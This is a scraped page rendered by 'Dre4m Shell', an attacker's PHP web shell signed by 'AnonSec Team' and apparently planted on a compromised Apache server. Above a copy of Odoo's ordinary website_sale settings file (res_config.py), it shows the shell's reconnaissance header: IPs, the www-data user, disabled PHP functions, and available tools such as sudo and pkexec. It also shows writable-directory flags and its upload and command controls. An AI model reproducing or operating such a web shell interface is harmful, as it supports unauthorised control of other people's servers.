Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.23.92.159
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/website_sale/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/website_sale/models/res_config.py
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.

from odoo import api, models, fields


class WebsiteConfigSettings(models.TransientModel):
    _inherit = 'website.config.settings'

    def _default_order_mail_template(self):
        if self.env['ir.module.module'].search([('name', '=', 'website_quote')]).state in ('installed', 'to upgrade'):
            return self.env.ref('website_quote.confirmation_mail').id
        else:
            return self.env.ref('sale.email_template_edi_sale').id

    salesperson_id = fields.Many2one('res.users', related='website_id.salesperson_id', string='Salesperson')
    salesteam_id = fields.Many2one('crm.team', related='website_id.salesteam_id', string='Sales Team')
    module_delivery = fields.Boolean("Manage shipping internally")
    module_website_sale_delivery = fields.Boolean("Add Delivery Costs to Online Sales")
    # field used to have a nice radio in form view, resuming the 2 fields above
    sale_delivery_settings = fields.Selection([
        ('none', 'No shipping management on website'),
        ('internal', "Delivery methods are only used internally: the customer doesn't pay for shipping costs"),
        ('website', "Delivery methods are selectable on the website: the customer pays for shipping costs"),
        ], string="Shipping Management")
    module_delivery_dhl = fields.Boolean("DHL integration")
    module_delivery_fedex = fields.Boolean("Fedex integration")
    module_delivery_temando = fields.Boolean("Temando integration")
    module_delivery_ups = fields.Boolean("UPS integration")
    module_delivery_usps = fields.Boolean("USPS integration")
    module_sale_ebay = fields.Boolean("eBay connector")
    group_website_multiimage = fields.Selection([
        (0, 'One image per product'),
        (1, 'Several images per product')
        ], string='Multi Images', implied_group='website_sale.group_website_multi_image', group='base.group_portal,base.group_user,base.group_public')
    module_website_sale_options = fields.Selection([
        (0, 'One-step "add to cart"'),
        (1, 'Suggest optional products when adding to cart (e.g. for a computer: warranty, software, etc.)')
        ], "Optional Products", help='Installs *e-Commerce Optional Products*')
    module_portal = fields.Boolean("Activate the customer portal", help="""Give your customers access to their documents.""")
    # the next 2 fields represent sale_pricelist_setting from sale.config.settings, they are split here for the form view, to improve usability
    sale_pricelist_setting_split_1 = fields.Selection([
        (0, 'A single sales price per product'),
        (1, 'Several prices selectable through a drop-down list or applied automatically via Geo-IP'),
        ], default=0, string="Pricing Strategy")
    sale_pricelist_setting_split_2 = fields.Selection([
        (0, 'Specific prices per customer segment, currency, etc.'),
        (1, 'Advanced pricing based on formulas (discounts, margins, rounding)')
        ], default=0, string="Sales Price",
        help='Specific prices per customer segment, currency, etc.: new pricing table available in product detail form (Sales tab).\n'
             'Advanced pricing based on formulas (discounts, margins, rounding): apply price rules from a new *Pricelists* menu in Configuration.')
    group_sale_pricelist = fields.Boolean("Use pricelists to adapt your price per customers",
        implied_group='product.group_sale_pricelist',
        help="""Allows to manage different prices based on rules per category of customers.
                Example: 10% for retailers, promotion of 5 EUR on this product, etc.""")
    group_pricelist_item = fields.Boolean("Show pricelists to customers",
        implied_group='product.group_pricelist_item')
    group_product_pricelist = fields.Boolean("Show pricelists On Products",
        implied_group='product.group_product_pricelist')
    order_mail_template = fields.Many2one('mail.template', string='Order Confirmation Email', readonly=True, default=_default_order_mail_template, help="Email sent to customer at the end of the checkout process")

    @api.model
    def get_default_sale_delivery_settings(self, fields):
        sale_delivery_settings = 'none'
        if self.env['ir.module.module'].search([('name', '=', 'delivery')], limit=1).state in ('installed', 'to install', 'to upgrade'):
            sale_delivery_settings = 'internal'
            if self.env['ir.module.module'].search([('name', '=', 'website_sale_delivery')], limit=1).state in ('installed', 'to install', 'to upgrade'):
                sale_delivery_settings = 'website'
        return {'sale_delivery_settings': sale_delivery_settings}

    @api.model
    def get_default_sale_pricelist_setting(self, fields):
        return {'sale_pricelist_setting_split_1': 0 if self.env['ir.values'].get_defaults_dict('sale.config.settings').get('sale_pricelist_setting', 'fixed') == 'fixed' else 1,
                'sale_pricelist_setting_split_2': 0 if self.env['ir.values'].get_defaults_dict('sale.config.settings').get('sale_pricelist_setting', 'fixed') != 'formula' else 1}

    @api.model
    def set_sale_pricelist_settings(self):
        sale_pricelist_setting = 'formula'
        if self.sale_pricelist_setting_split_1 == 0:
            sale_pricelist_setting = 'fixed'
        elif self.sale_pricelist_setting_split_2 == 0:
            sale_pricelist_setting = 'percentage'
        return self.env['ir.values'].sudo().set_default(
            'sale.config.settings', 'sale_pricelist_setting', sale_pricelist_setting)

    @api.onchange('sale_delivery_settings')
    def _onchange_sale_delivery_settings(self):
        if self.sale_delivery_settings == 'none':
            self.update({
                'module_delivery': False,
                'module_website_sale_delivery': False,
            })
        elif self.sale_delivery_settings == 'internal':
            self.update({
                'module_delivery': True,
                'module_website_sale_delivery': False,
            })
        else:
            self.update({
                'module_delivery': True,
                'module_website_sale_delivery': True,
            })

    @api.onchange('sale_pricelist_setting_split_1', 'sale_pricelist_setting_split_2')
    def _onchange_sale_pricelist_setting(self):
        if self.sale_pricelist_setting_split_1 == 0:
            self.update({
                'group_product_pricelist': False,
                'group_sale_pricelist': False,
                'group_pricelist_item': False,
            })
        else:
            if self.sale_pricelist_setting_split_2 == 0:
                self.update({
                    'group_product_pricelist': True,
                    'group_sale_pricelist': True,
                    'group_pricelist_item': False,
                })
            else:
                self.update({
                    'group_product_pricelist': False,
                    'group_sale_pricelist': True,
                    'group_pricelist_item': True,
                })

Anon7 - 2022
AnonSec Team